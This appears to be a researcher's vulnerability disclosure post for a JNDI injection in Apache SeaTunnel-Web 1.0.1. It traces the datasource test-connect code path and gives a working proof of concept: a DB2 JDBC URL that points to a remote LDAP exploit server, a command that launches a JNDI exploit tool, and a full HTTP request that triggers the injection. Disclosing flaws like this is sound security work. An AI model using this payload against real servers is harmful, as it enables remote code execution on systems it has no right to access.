Apache SeaTunnel web_1.0.1

found by:unam4 and SpringKill

​ please allocate CVE for them, which is very important to us

0x01 Vulnerability description

​ Apache Seatunnel-WEB 1.0.1 exists in a JNDI injection. The main reason is that JDBCURL is controllable and has no filtering. The attacker can use the IBM.DB2 database to construct a malicious JDBCUR for JNDI attack, causing the server permissions to lose.

0x02 Code analysis

org.apache.seatunnel.app.controller.SeatunnelDatasourceController#testConnect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    Result<Boolean> testConnect(
@ApiIgnore @RequestAttribute(value = SESSION_USER) User loginUser,
@RequestBody DatasourceCheckReq req) {

// Map<String, String> stringStringMap = JSONUtils.toMap(req.getDatasourceConfig());
return Result.success(
datasourceService.testDatasourceConnectionAble(
loginUser.getId(),
req.getPluginName(),
DEFAULT_PLUGIN_VERSION,
req.getDatasourceConfig()));
}
public class DatasourceCheckReq {
private String pluginName;
private Map<String, String> datasourceConfig;
}

It will get DataSourceConfig from REQ

org.apache.seatunnel.app.service.impl.DatasourceServiceImpl#testDatasourceConnectionAble(java.lang.Integer, java.lang.String, java.lang.String, java.util.Map<java.lang.String,java.lang.String>)

1
2
3
4
5
6
7
8
9
10
public boolean testDatasourceConnectionAble(
Integer userId,
String pluginName,
String pluginVersion,
Map<String, String> datasourceConfig) {
funcPermissionCheck(SeatunnelFuncPermissionKeyConstant.DATASOURCE_TEST_CONNECT, userId);
return DataSourceClientFactory.getDataSourceClient()
.checkDataSourceConnectivity(pluginName, datasourceConfig);
}
public static final String DATASOURCE_TEST_CONNECT = "datasource:test-connect";

He will check that the user first has DataSource: test-connect permissions,Then call CheckdataSourceConnectivity for connection test

org.apache.seatunnel.datasource.AbstractDataSourceClient#checkDataSourceConnectivity

1
2
3
4
5
6
7
8
9
public Boolean checkDataSourceConnectivity(
String pluginName, Map<String, String> dataSourceParams) {
updateClassLoader(pluginName);
boolean isConnect =
getDataSourceChannel(pluginName)
.checkDataSourceConnectivity(pluginName, dataSourceParams);
classLoaderRestore();
return isConnect;
}

Then call GetDataSourceChannel () to get the database Channel, and then call the database CheckdataSourceConnectivity for detection

Since the IBM.DB2 database exists, you can set the pluginname to JDBC-DB2, and then like a function

org.apache.seatunnel.datasource.plugin.db2.jdbc.Db2JdbcDataSourceChannel#checkDataSourceConnectivity

1
2
3
4
5
6
7
8
public boolean checkDataSourceConnectivity(
@NonNull String pluginName, @NonNull Map<String, String> requestParams) {
try (Connection ignored = getConnection(requestParams)) {
return true;
} catch (Exception e) {
throw new DataSourcePluginException("check jdbc connectivity failed", e);
}
}

You can directly getConnection. Requestparams is introduced by us and follows upconnection.

org.apache.seatunnel.datasource.plugin.db2.jdbc.Db2JdbcDataSourceChannel#getConnection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    private Connection getConnection(Map<String, String> requestParams)
throws SQLException, ClassNotFoundException {
// Ensure the DB2 JDBC driver is loaded
Class.forName("com.ibm.db2.jcc.DB2Driver");
checkNotNull(requestParams.get(Db2OptionRule.URL.key()), "Jdbc url cannot be null");
String url = requestParams.get(Db2OptionRule.URL.key());
if (requestParams.containsKey(Db2OptionRule.USER.key())) {
String username = requestParams.get(Db2OptionRule.USER.key());
String password = requestParams.get(Db2OptionRule.PASSWORD.key());
return DriverManager.getConnection(url, username, password);
}
return DriverManager.getConnection(url);
}
}

It directly obtains JDBCURL, User, Password from RequestParams. IBM.DB2 has a JNDI problem, and we can control the malicious JDBCURL to cause JNDI injection. Just like this

1
jdbc:db2://127.0.0.1:5001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/remoteExploit8

0x03 poc

Get a JNDI tool in the local area https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

1
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar  -A 127.0.0.1 -C "open -a calculator"

Install all databases and use the version below JDK8U191 to enable the service

The corresponding route corresponding to the interface is/API/V1/DataSource/Check/Connect. After login, send the following data packets, causing jndi injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /seatunnel/api/v1/datasource/check/connect HTTP/1.1
Host: 127.0.0.1:5173
sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Sec-Fetch-Dest: empty
token: eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJpZCI6MiwidHlwZSI6MCwic3RhdHVzIjowLCJpYXQiOjE3MjM1Mjg0MjYsImV4cCI6MTcyMzYxNDgyNn0.W5o0GIb8mvtSkANLC4hu29u4FlF0jQYzTVlC_B122-0
Origin: http://127.0.0.1:5173
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/json
Referer: http://127.0.0.1:5173/
sec-ch-ua-platform: "macOS"
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: cors
Content-Length: 202

{"pluginName":"JDBC-Db2","datasourceConfig":{"url":"jdbc:db2://127.0.0.1:5001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/remoteExploit8;","driver":"com.ibm.db2.jcc.DB2Driver"}}

0x04 Repair suggestions

Strictly filter the passing JBDCURL.


Apache SeaTunnel web_1.0.1
https://unam4.github.io/2025/12/01/Apache-SeaTunnel-web-1-0-1/
作者
unam4
发布于
2025年12月1日
许可协议